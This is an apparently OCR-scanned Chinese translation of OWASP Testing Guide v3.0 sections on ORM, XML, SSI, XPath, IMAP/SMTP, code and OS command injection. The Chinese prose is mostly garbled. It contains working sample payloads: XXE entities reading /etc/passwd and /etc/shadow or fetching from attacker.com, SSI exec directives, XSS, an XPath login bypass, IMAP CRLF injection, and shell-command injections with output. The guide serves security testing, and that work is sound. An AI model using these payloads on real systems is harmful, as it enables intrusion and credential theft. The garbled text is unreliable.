ARSI B3 D3R4 Web N R ROTRACHS, T LUACIL ORM T B (R IR I A 1% TR (1 web MR,
IR A BGEAZ I A RE s ol el AR rp S HR AR B AT

M ANSEH T PHE SQL TR E; LU 24146 H ActiveRecord #J Ruby on Rails (VB (1] ORM ] GEFELEIRI)

Orders.find_all "customer_id = 123 AND order_date = "#{@params['order_date']}""

HAFEAGE™ OR 1--" Bl UG AT H HI R b, siRE SRS Bl 2R

= References from Testing for SQL Injection are applicable to ORM Injection -

http://www.owasp.org/index.php/Testing for SQL Injection#References

=  Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational mapping

= QOWASP Interpreter Injection https://www.owasp.org/index.php/Interpreter Injection#ORM Injection

= Ruby On Rails - ActiveRecord and SQL Injection http://manuals.rubyonrails.com/read/chapter/43

=  Hibernate http://www.hibernate.org

=  NHibernate http://www.nhibernate.org

= Also, see SQL Injection Tools http://www.owasp.org/index.php/Testing for SQL Injection#References

4.8.8 XML 7£ A (OWASP-DV-008)

| s

XML VEAKTI I Y 3RATRE XML SO A SN RIS, AR XML AT & BT 1 = B 30iE, I8 & ke il &5
Fomt it SRV (R BB D o

|

FEIXANER Sy, BATHGE — A XMLIEASEG] © 5 e BATE T A XML RIS 7R EWBa R, AR E iR B
A XML T TR R I 15, — B —Dpd), R SCR AR % T XML G915 B KRR i BRI XML
HAR AR L (XML FRIETEA),
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PR s 0 Sz 4]

Ay M XML AEGE E AT AN Web NEFIRESY, Sl ILAE xmIDb S GUERITIE I B K <user> Y
AT RASEIR L D g . BB xmIDB SCAF 1 R :

<?xml version="1.0" encoding="1S0-8859-1"7?>

<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0<userid/>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500<userid/>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users>

AT BATHUE HIML A WS, R 4% SRR e T SR Bl . 4 77 TS DL B AT BB i s LU HT TP
GET W3R L A% -

(L AP EOEIER

Username: tony
Password: Un6R34kble
E-mail: s4tan@hell.com

FP L F itk

http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com

FORFINIRERY, HER@E A A

<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500<userid/>
<mail>s4tan@hell.com</mail>
</user>

XK 18 03 xmIDB:

<?xml version="1.0" encoding="1S0-8859-1"?>
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<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0<userid/>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500<userid/>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500<userid/>
<mail>s4tan@hell.com</mail>
</user>
</users>
RINIwIF

N TS R 2 A7 AR XMLTE AT, 2R — DA Ui XML 747

XML JTPRF G 2

HGE R R AT, RIS TR PR, AT REAE XML RTINS A A S
Olo i, BB R

<node attrib='SinputValue'/>

WRATIIRE A5

inputValue = foo'

LSRRG ERIER

<node attrib="foo"/>

XML SCREHF AN 58 4

Mgl AT RS BAMREE S R E A0S 5 d5 Pt T PR A
<node attrib="SinputValue"/>

PP
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SinputValue = foo"
BT A B
<node attrib="foo""/>

XML SRR A FA R

OWASP iR FE T v3.0

RAET: >SUJee ——alnl /£ M AU S AN — N IFR BRI RS 75

Username = foo<

(AN ERESE S ETRGE e TN INREDE

<user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>

EABCRATFIEI < AR R T XML EIRAT R,
FERARIL o <lo/> =X TP SRR D TERE TR /45 DI,

Username = foo<!--

PN R AR ST AT 1 AL

<user>
<username>foo<!--</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>

RAE AR XML ¥4

QIG5 —RIGBAE XML B VEP TR XML ST,

WL 7E Username 40y AL —A>

gt &Y, AW &symbol; 'HIAERSEAR, A ATRELAR XML SCAS (1743 80715 H B e

flan

<tagnode>&lt;</tagnode>
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AR, I T“ < ASCH F7F,
IR & A G VATl &amp ZRAS, BRH TR XML FEA
5z b, R N -

Username = &foo

FFE A — TR AR

<user>
<username>&foo</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>

B &foo XA AT LL G52, i HAB KA &foo IXFESLARIKE SC, XML 2 LR«

CDATA JFIH/45 bR T : <I [CDATA[/1]1—41li ] CDATA Frid i, 768 ZH[MEENFAFBATIE I XML i BT 35T -
AT T 2SO AT BRI, oo I AR SO HE

B, G RAT B SCATT FUA RO F AT H <foo> !, TR L T UIE I R 417V A H] CDATA -

<node>
<![CDATA[<foo>]]>
</node>

FIT LA '<foo>"RE R WMENT, FERHER 1 — A SUAREUIE,

TR AR LU 5 AU
<username><![CDATA[<$userName]]></username>

RO B3 AT LLZ2R T A S CDATA 758115 DM IR JE 2k XML .
userName = ]]>

AR -

<username><![CDATA[]]>]]></username>

XAEARL XML .

SHERSE K
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SR G- CDATA #RICE I, 4 XML SCH-BEMENT J5 15 2B CDATA I4H . b an AR 8 25 W7n7E HTML BT
T REBEINRIAS . BSEE —N T , HPSCA BOR G T o i FAZ SO DUAE W R A&

<html>
SHTMLCode
</html>

XHATAE ] AR A AL ] CDATA FR1C B HTML SCASKREE S Nl JESS A 7T . B i A LU R

SHTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

FATHREDRAT LT 5 5

<html>
<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
</html>

ENHT B B CDATA ¥rid, FF¥4E HTML H 36N R HIMH -

<script>alert('XSS')</script>

FEIXFPAG DL, NPl 28 88 1 XSS 590 P, IR TRATT AT LU A\ — S8 FCRSAE CDATA Fnic b LUkE S i A fer 6 i JE s
IR A,

SEAE - A DTD RS AR Bt RSB FR L& IR S . [RIAE AT AR € A~ URL AE Sidfk. it
XA, OEE XML AMERSEAR CXEED BU3E TPl BERdw o BT LA, Ssa el BUR 745 s A RE K

<?xml version="1.0" encoding="1S0-8859-1"7?>
<IDOCTYPE foo [
<IELEMENT foo ANY >
<IENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

AT LLAE Web R554% (Linux RED it POV ERATEABE @Y — N RA LR PRk, ek
T

<?xml version="1.0" encoding="1SO-8859-1"?>
<IDOCTYPE foo [
<!ELEMENT foo ANY >
<IENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="1S0-8859-1"?>
<IDOCTYPE foo [
<!ELEMENT foo ANY >
<IENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
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<?xml version="1.0" encoding="1SO-8859-1"?>
<IDOCTYPE foo [
<!ELEMENT foo ANY >
<IENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="1S0-8859-1"?>
<IDOCTYPE foo [

<IELEMENT foo ANY >
<IENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

LRI H AR ARE XML e PR S5 R A R R IRATT AT I L8 5%, JRATTT LR BIR 2 5 Bk A A BORAR R
AHKER.

FRICEA
—HE DR, RN SRR O T XML S5 A5 R, BRI AT L2 AN XML Bl bR i -

FERTTHI I 7, Fl AN BUR AR

Username: tony
Password: Un6R34kble
E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com

N PR T ANB KT R RN 2 XML Sl 7

<?xml version="1.0" encoding="1S0-8859-1"7?>

<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users>
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HRAGT) o ME RIS RS

HITRAS user 5 S HPAFAEPIA userid Frid. L, XML XA A5 AR schema B(# DTD. {R&ILEE XML
il BT DTD:

<IDOCTYPE users [

<IELEMENT users (user+) >

<IELEMENT user (username,password,userid,mail+) >
<IELEMENT username (#PCDATA) >

<!ELEMENT password (#PCDATA) >

<!ELEMENT userid (#PCDATA) >

<!ELEMENT mail (#PCDATA) >

TR, userid TSAFHFES 1 € X Cuserid) o

PIE, SR XML A $RE ) DTD X AT A R I 38, AT ] fi] S B0 AR e i 5 it

ISR B3 n] DAAE 265G FA] userid FRic AT sUE (BB AE 3N+

P51

Username: tony

Password: Un6R34kb!e</password><!--
E-mail: --><userid>0</userid><mail>s4tan@hell.com

XML H40 e SOt 2 A«

<?xml version="1.0" encoding="1SO-8859-1"?>

<users>

<user>

</user>
<user>

</user>
<user>

</user>

<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>

<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>

<username>tony</username>
<password>Un6R34kbl!e</password><!--</password>
<userid>500</userid>
<mail>--><userid>0</userid><mail>s4tan@hell.com</mail>

o JEIEFEA LN PR T iR/ 4R
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€

</users>
K2k, JFORI userid FRic b gl B4, [P RE 4% DTD AEAAATTIEE AN FRad .

F RO tony B ] userid= 0 %ok XA REE REUHE B (1Y uid)

5%

=

H B

= [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex Stamos-

Attacking Web Services.ppt

4.8.9 SSI i N\ (OWASP-DV-009)

Web fIi 7 & 5 11T A PR AR 2% IR 55l Ak TT AN BAAE S HTMIL BT S NS A i/ Ry, TR L45¢
A 5 ARG A B & v A OGS . Server-Side Includes (SSI)ARHL TixF i, B — NIRRT R, FHE
FEBGHEEANGD ] HTML TUEE R AT R AR,

) AL 4 34

AR 55 as itk N JE—Fi454, Web R 25252665 W TUHRAELE F P 2 Wl L fibT o 24 T BERAT TR AT 55 1, AT e g s
CGI £ 7 B AT FH IR 55 s ity JRUAS T 55 R NARES B — R AR vk 08 SSI SEERR AL a2 1) H IE T RS AT . e
Fhd web JR458% CGl B4R & . FIFATAMT Gl AR RS w4,

¥ SSI R TENFRA M HTML SCH2 =, NS EE N i m— BoR:
<!--#echo var="DATE_LOCAL" -->

T 27 Y HT i )
<!--#tinclude virtual="/cgi-bin/counter.pl" -->

TS cal A%

<!--#tinclude virtual="/footer.html" -->

L5 SO A 2

<I--#texec cmd="[s" -->
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M RG24 -

R, AR LMEH] Web R 5545 SSI SZRE, RS IENTIXEEIR/R, SRS ILIESONIR A B W AEBOARCE T,
KZ KL web JIed5 a3 A SEVFAEH] exec 8 HAT RS2

FERE AR BRI, WERARVF web AR S b8t  1ER HIRR P 5 web AR 55 # M H1 TE 1% 19
BHOATZh, B L™ 4. BlinoeT sSIvEN, BuliF Rt WAz AN IR (0] e FAE U
G ) AZAPER I, B L ERS PRI SSI RS .

D SST 452 BRSEBRIIACTE 5 AMFAE R L, RN web Jik 55 4 5 ZERC E AR VF SST, I ERATIRIB A2 —A
B AL G ARTE SN AR E AR A5 00 ER T sSH a4 Bt AL S B IF AT RE &S, BRI
BHPITR

¥l
PR DN EEAM R BR g k WEB IS5 4% SRS Lo S SSI RS .l T SSI SCRFRE L, B S L2 1 E I o

AT HENESR, BATATEOE AL LA BBCERER,  TRIATHREN HARIZA TR R Web I 5545 BIHT .

TR RETT BRI A BLIX A5 L, B TR T LA 2 75 A I i ) A 5K gi DI H A 117 SO SSLe - e T sheml SUAT )R 2844
TR GO B SSIARA T, B R W st T .shtmd ST, I 2 BEHZ MG SRR SSIfiR4. 3R

1. shtml )i 254 95 S s RLE ), DRI R AT R DUAT ] shtmd SCAT, I AR H BRI 35 BT 32 2 SSHEA B
Rl fE.

FRATHEAT N AP XAUHZER N SE T A LT sSHEAT:, B/ Za R ATHRE N B AR A
Ko

XD BRI I S AR E NI —FF . BT 2R 21247 P 3RS IR — N M, IR Ry e
IEFRISAE T B A8 s, R A AR AN SR Bs B (B RS B RIS o B T H LI
PSR e Eien s, 25 18 KA A AR ot A 75 5 Phi& X HTTP 3§ 3K kAl Cookie 7.

— BN TWAEEA ST, AT B A A S AR RER IR, TR AT TSRO A AR AR Rt 42
BRI . FATLAHRIATREWE AL SSI 454 rH AL 1747«

<I#=/."->and [a-zA-Z0-9]
REAE[A]— b 77 18 0 e 45 s TR AT
I FHESAIE R ol = s AL FH AR B s () 745 B AT R AR A ISR 5 -

<!--#tinclude virtual="/etc/passwd" -->

ANEEGE ) AT 5 -
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<script>alert("XSS")</script>
R RS A T B e W DU, RS ENTIRIE S, XFF IR S T Unix ARHER RSSO 2R
Wi Web B FH R R0 X Se 4l st v — AN B AR B,  7E HTTP kA5 Bt o] AT

GET /HTTP/1.0
Referer: <!--#fexec cmd="/bin/ps ax"-->
User-Agent: <!--#virtual include="/proc/version"-->

IR A D S 4
R BE A A Y R IURACHS, BATR] AR AR F S«
AL SSI 4525 Wi RAEH], web RSS2 E 2 T SSI SCHF. IXAE T2 SSI TN A8 2D By 5 251 25 (14 75 11 1)

& #r

2. HIJ'EA S cookie WA HTTP FRBl SKAEME FLALER AR PRl B8 A2 il — 7K S B A0 an A\ AR B3
3. WfAbBEIE N . EFIAE L RE e L MR A SRV KR ATl . B R T 2 DRl i Ty 5.

i H] grep PATIX LR, KBRS T I IERFOCEE (SSI F84 . CGl BEAR & WA AR EAES . ik
HAEE),

= |IS: "Notes on Server-Side Includes (SSI) syntax" - http://support.microsoft.com/kb/203064

= Apache Tutorial: "Introduction to Server Side Includes" - http://httpd.apache.org/docs/1.3/howto/ssi.html

= Apache: "Module mod_include" - http://httpd.apache.org/docs/1.3/mod/mod_include.html

= Apache: "Security Tips for Server Configuration" - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi

=  Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt

= SSl Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-

javascript.html

= Web Proxy Burp Suite - http://portswigger.net

= Paros - http://www.parosproxy.org/index.shtml

= WebScarab - http://www.owasp.org/index.php/OWASP_ WebScarab Project

= String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor
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4.8.10 XPATH £ A\ (OWASP-DV-010)

| ik

XPath f& BT R R et A AR B XML [R5 19— BB 5 o XPath i A\ FuiF Bos & 7648 IR 5 I A it A
XPath JGH . LR HER H KL SE R AR BRSO AR B

| e )

Web N HIFRE P Al 5 122 SR A7 AUy o) B i ZEERAE R B . L LRI T AR 2 B, R R IBE PR L&t ie 4 1k
B WA ARFEE 20 LA, (A XML o5 5 4L M3 2 H 25 AT . O R B A vT Ll i soL i F Vi i),
M xML s FEAEH xPath ME A TARHERI A TE 5 . UM MM EKE, xPath 5 sQL 7E H RN H 51
T3 AL, A RIS XPath FEABTEA SQL I ANBH B FEM . ARSI, HT XPath AT hAEC &4
M AEAE, T SOL VEANICTH H IRAR 2 45 AR T H AR B FEAT A 16 soL 5 5 M9 1, BT LA XPath LhAx
1 sQL Bk K. IXEMA xPath FEANIH AT LU BLIE N ) H & EFIATER . 59— XPath A IIRALE T 5
sQL ARJAl, EATEERFIAT ACL. [X 2k XPath £ i) ] LA ) XML SCAF 45— 43

SRR 52 1]

XPath B2 1 Amit Klein [1] BRI, E5 5 sQUIEAARFARLL. h THIP Tz, A5
SROTH, e T Y R B, iR At B ORI AR R A e R BN IR RN T XML
SCAFARE H i e«

<?xml version="1.0" encoding="1S0-8859-1"7?>
<users>

<user>
<username>gandalf</username>
<password>!c3</password>
<account>admin</account>

</user>

<user>
<username>Stefan0</username>
<password>w1s3c</password>
<account>guest</account>

</user>

<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<account>guest</account>

</user>

</users>
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'R XPath Er kIR A /7 44 42 "gandalf" Rl A “1C37 0K )

string(//user[username/text()="gandalf' and
password/text()="!c3']/account/text())

WS R A IE IRz, R SO REVEN XPath AR IFTHR A M5 A B, AN 53 o] DU N LA
{H:

Username: 'or'l'="1
Password: 'or'1'="1

BHDRARAZS, AL ? XS, AW

string(//user[username/text()=""or '1' = '1' and password/text()=" or '1' = '1']/account/text())

EXIAY sQL Y E AT, FATOIEE TAR IS U IEA ) Al . XA R BCAT SR ] ) A4 RN, N T A
(LYEBTiBUREE VRL AT

WRAE R sQUFE AT, XPath iEABGR K EE — DR AE R 2RI 7 Be A PaiA A5 () fEAW
TGN TEE B DRI TR 2 NI R o 1R [P R A5 S

AOREANENE XML BN RO, RS R RS 4 H  H DL N AE R AR AR5 8, TR L AT PR AT e AT
H XPath VEA o BT 1) Hbr 2 A EE 450 . XINE AR S R FHEFLA sQL i AMAEL. i A 3 A A
AWM, RF—L2E R ESIHXH Amit Klein FELIA4H T 5 XPath 7

= [1] Amit Klein: "Blind XPath Injection" - https://www.watchfire.com/securearea/whitepapers.aspx?id=9

= [2] XPath 1.0 specifications - http://www.w3.org/TR/xpath

4.8.11 IMAP/SMTP 7 A\ (OWASP-DV-011)

| s

XA B BT A B G-I EAR S &% (IMAP /sMTP ) GEIREINIRESF, kA webmail WM, I HAR
&, TR IR BT 3 AT A AN S DL R, SR UEEHE PR IRSS # hE AR IMAP / SMTP fr @ IIBET) .

|

URANRE ELE LI R U ) BS54, M ZAESXAE IS DL R IMAP/SMTP I E ABCAR 2 BAT HEINAT 2. Wi R nl fig
b5 i S RO MRS R 55 4 T, AT SO AT B I
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IMAP/SMTP JE AAE AT 22 15 ok AN LR W4 ELFE 5 i S 7F i 55 2% RSk W] E
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FERLERGOL N, XN ERGIRA i

web J 55 %% [F) S5 KPR Al Bt 22 A s < XS B IR 55 25 A ) R BRI T RS Bty (B0 T R R T

).

Webmail user

EZE"

i Public zone

wabmall application

Private zone (hidden servers)

i Mail servers

HIE G- I W PE R 55254 FH Y TMA P/ SMTP TEAFEA,

P 1 43R TAEH] Web BBPFEOR S WIKVREEE S DB 150 2 ZH P 5 RSB AE2 P o B8, s 2 A sl A 5
GEd it 5w, L e I A5 4 EEOERL . XM BT RE R BLA SRR AT B ANt LR REPERGR THEA
SRR [ LU A Fy s 4 e 55 & A F A B e A HT IMAP /SMTP 3 AR I Bt 1 31l 547 -

1 IMAP / SMTP {3 P R IR 42 42 55 50
LI NI T R
geid [ A SRR
17 Bt
R I A

PRI 5 1]

PRIFERC T AR A «

B AT 24
T AREIR RN ) S P FS 2B 4 A

IMAP/SMTP f57EA
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FHAIRTR S 4

N T AR ZEG RN 25000 K N TR P A BRI BE ) i AR UE RS 0 S SRAS PN 53 5 ik Pl i e 2 v
REIRSS I W, AELEZARTT RN ARE -, Fmi 3 25 RN e A S AN s R R R A5 S, S Re ) iy
Sei T AR T, AR AN, R R A5 b YRR T AR R, IR (] "HTTP 200 OK"fRI{F L.

(EAFTE R AR (R SR AL R VL TR I B . A ] MysQL ik S5 2, &I£ETXT Microsoft SQL server [ sQL i
ANTRFHRE] MysQL Ik g5 4K 43 BN R IR BN, . AEIXAPRE LR, BT IMAP S TR I A IRAS M, KRR

IMAP iy 272 15 FH A

A HTEG) IMAP FRIRF IR S HOAL A5 -

FIT IMAP i 55 2% FIT SMTP 5558
Authentication (B4 1F) AR N A
MEFTHRAE (list/ 51 3% 5, read/BEIL, create/fl7E, delete/MHIFR, rename/ S 44) MO/ A AT
-5t (read/ B K, copy/ R Hil, move/# 7)), delete/ Ml ) i
Disconnection (K134 4%) S F 1S

iy i

FEHAMERF, “mailbox” KIZSECEWFTH E KM <

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1
A LM T i
o BHUENZE

http://<webmail>/src/read_body.php?mailbox=&passed_id=46106&startMessage=1

o {HIHBEHLERC:

http://<webmail>/src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1

o AL E:

http://<webmail>/src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1

o ISINARPRMERFIRAAT (e N o, @, H o, L, 1)
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http://<webmail>/src/read_body.php?mailbox=INBOX"&passed_id=46106&startMessage=1
o LB
http://<webmail>/src/read_body.php?passed_id=46106&startMessage=1
SRR 5 5 AR LR = FTRENE I
S1 - IR [EE A /15 5
S2 - TASIR MR R AR /A5 B, A BB RN B SR IR
S3 - AN IR [ A /A5 B TT LA 2 — MR i sk 4 A
I S1 F0 2 AAFK AL TN IMAP/SMTP A,
Kt B A B bR ST WY, DR A 20 8 S s IR P A7 AR E NI T 5 5 52 B 1k — D e
AT MBRAB o 3d N T HTTP 35 Sk v 7 B AR AR BUK TR AL
http://<webmail>/src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0
Wt F V] LUE R N URL 4t )%22) 15050241 INBOX R
http://<webmail>/src/view_header.php?mailbox=INBOX%228&passed_id=46105&passed_ent_id=0
TR LT I R e 1) N 2
ERROR: Bad or malformed request.

Query: SELECT "INBOX""
Server responded: Unexpected extra arguments to Select

S2 (RICURAT T B S A (A A o RN 5% 7 A i VR AR 5 JIR 5% 2 2 T AP AE T
Jioh, 3 HABART K.
HULE R

o RBHIIK

o HMNIIIhEE

o ATREVEARIZRI(IMAP/SMTP)

T BRI S (R A
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HINIT A A e TR 2 50R (B, “passed_id”), Rl 53 it SR AE wT LAAE IR S0 R AN F Rt 20 A BN
R P i s D 1l o

FEXANRTIN Z ], FRATT A0 R 1) “passed_id” A7 7RI A A R S8 SR EA A
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=462258&startMessage=1

A LU 7 6 87 2R S B AP 2R )
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1

e LV AR E B (RIERI) B 2 R RO

ERROR : Bad or malformed request.
Query: FETCH test:test BODY[HEADER]
Server responded: Error in IMAP command received by server.

fEE—AZGIh, HEEHRE BIR B HAT I i & A S E 4 7.

FEILME DL, (BB HNTRE Y I ) B R 15 B & T TR A S AL B, (OB G RFC(Z L2 5
Be)SRVFRI NN 53 T AL RESRAT HALIRLE iy 45

U R IR e AN IR [t R R R B DA S, A I B3 7 BE O M 3252 i (1 h BE LU E T I HEWT 5 3 Dh BT %I B
AR S (NMSHO o B, R AU I S 2R QU A, T8 2325 EUC 2GR IMAP fir 4
st “CREATE” , MRHs RFC, ‘G EME—NSA, Sl At 3T R Gt ) IS4 44 o

HUHEE R

o ZZEZWEY IMAP/SMTP 434 Hi

o HERLINIBZF M) IMAP/SMTP €y 4 IS I 2R A . (sl
IMAP/SMTP 1 &-EAN
— BRI GO T I S EOF 0T THAT IR SCAS, Rt R A T RE
XANB BT A AT ESE R

LAERKAE B r] AFIVEN . s T B P8 IEM IR . AR (IMAP ) HRF: CAPABILITY. NOOP.
AUTHENTICATE. LOGIN F1 LOGOUT.

2HERUPRE P A BEPAT N ZEREAT AR SA I 7T 75 5 78 40 36 UEH P A Be e Bh A 16 o
EATATE LT, IMAP /SMTP y3: A fH LB S5 Ry o1 R
o B TMIMAHILE)RE;
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o NZE: TEABIMIEA

o iR WA IITA.
BTAVFHEVH: A THAT IMAP/SMTP A4y, b A2 2l CRLF (%0d%0a) /58156 i, B IAERT B 1 (“Bil s
TS H)h, Bedi# R K 0 28 message_id” /i AE AR A 19 24
http://<webmail>/read_email.php?message_id=4791

BATARR AR B 2 TP ETRATROMT G R« T AR i % ) s B 45407 )N T 15912 S B0 R i & A 2 5
fH -

FETCH 4791 BODY[HEADER]

FEIXAEDL,  IMAP 7N ZE )/

http://<webmail>/read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791
e AL T a4

???? FETCH 4791 BODY[HEADER]
V100 CAPABILITY
V101 FETCH 4791 BODY[HEADER]

Hrp

Header = 4791 BODY[HEADER]
Body = %0d%0aV100 CAPABILITY%0d%0a
Footer =V101 FETCH 4791

AR

o T IMAP/SMTP fir &VFE A

= RFC 0821 “Simple Mail Transfer Protocol”.
= RFC 3501 “Internet Message Access Protocol - Version 4rev1”.
=  Vicente Aguilera Diaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers" -

http://www.webappsec.org/projects/articles/121106.pdf
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4.8.12 {5 7E N (OWASP-DV-012)

EL

XA ARSI N D3 ey Sy W 2 45 BEAE W9 00 4 AR AE D AN Il T web R4S B AT iAo B2 O TR N
HEA: http://www.owasp.org/index.php/Code Injection

|

ARG NI FE AN SRR N, TR web RS54 A AE S A AT BUR A SCHFALBE . X 264G I Y H b A
TR BBl S5 S A AS 51 5, B ASPL PHP 545, DRI 2 B0 1 PR IR AN 22 A ARBD R Bl 1R S8 it

A S 5]
PHP = A\ TR AL
1 F querystring, AR 0T LUEANARRS (140, %& URL) FFAE AR A SR — #8043 Ab B .

http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a

SRBUY

AE URLRHCAME PHP BT IS, B AT DUE AR TR 4L

K e K6 ) S5z 451
ASP AXAS s ¥ P

R T AT s b i R IR ASPARRS, i, B RET S fir & 2IAEER T ON T Beb ? AR, ASP UL Skt
HARAF 2 RIF AT E

<%

If not isEmpty(Request( "Data" ) ) Then

Dim fso, f

'User input Data is written to a file named data.txt

Set fso = CreateObject("Scripting.FileSystemObject")

Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf

f.close

Set f = nothing

Set fso = Nothing
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'Data.txt is executed

Server.Execute( "data.txt" )

Else

%>

<form>

<input name="Data" /><input type="submit" name="Enter Data" />
</form>

<%

End If

%>)))

Security Focus - http://www.securityfocus.com

= Insecure.org - http://www.insecure.org

=  Wikipedia - http://www.wikipedia.org

= OWASP Code Review - http://www.owasp.org/index.php/OS_Injection

4.8.13 OS 5§ 4 1T (OWASP-DV-013)

EL

X B AT AR An Ty I S PR PR A I 08 $52HAT « IR AE 20ulid HTTP 3 sRIEA—A> 0S i BN I FE 7
e

| e
08 $5 4 BT T3 445 11 2 web 25 SHUT 08 4l FIHiA

JP T AT 0S i A Tnad i B2 3R AHRE RS & ARATR A S S L DB B DA M. H P I AT
0S fir 2 HIRE ) Ja b RE LT RUE SR P 2P . W RN AR PP B AT AN A 5 i 22 42, I8 Z it vl LARHLE
0S fRL AT

PRI s 1]

AE web N HRE PR AR AN, ORI HAE URL P RS oK. Perl VP UERESIIA S 2] open frr. HIJ7HE
e oy AR SCA 44 R R AN 7 15| o

Bl: FECARZ K URL:
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http://sensitive/cgi-bin/userData.pl?doc=user1.txt

BMUS 1 URL:

http://sensitive/cgi-bin/userData.pl?doc=/bin/Is|

AT bin/ls” 3%
. PHP ST M) URL SN AN 51 BLLK A 0S ke, ARABBAT %A 4.

R

http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
4

it MRS ARVEANTIRI LSt R H 5) WebScarab , 0] LARICE 1 (¥) POST HTTP:

POST http://www.example.com/public/doc HTTP/1.1

Host: www.example.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: 1ISO-8859-1,utf-8;9q=0.7,*;9=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: http://127.0.0.1/WebGoat/attack?Screen=20

Cookie: JSESSIONID=295500AD2AAEEBEDCODB86E34F24A0A5

Authorization: Basic T2Vbc1Q9Z3V2Tc3e=

Content-Type: application/x-www-form-urlencoded

Content-length: 33

Doc=Docl.pdf

1 post ", AT BN IR TR R A T S0 o BUAEFRATAT LA AE 545 AT REAE POST HTTP VEA—MEIERSE
e WL R A

POST http://www.example.com/public/doc HTTP/1.1

Host: www.example.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: 1ISO-8859-1,utf-8;9q=0.7,*;q=0.7

Keep-Alive: 300
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Proxy-Connection: keep-alive

Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDCI9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=

Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Docl.pdf+|+Dir c:\

TSR I RE e SR i35 5K, BATTn] B SRE UL T 45

Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'

fth 2

Il volume nell'unita C non ha etichetta.

Numero di serie Del volume: 8E3F-4B61

Directory of c:\

18/10/2006 00:27 2,675 Dir_Prog.txt

18/10/2006 00:28 3,887 Dir_ProgFile.txt

16/11/2006 10:43

Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
1386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37

Technologies
18/11/2006 11:14
3 File 32,496 byte

13 Directory 6,921,269,248 byte disponibili

Return code: 0

FERXA GG, EATCZLIRI 0S 1A

OWASP iR FE T v3.0
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€

| K
A

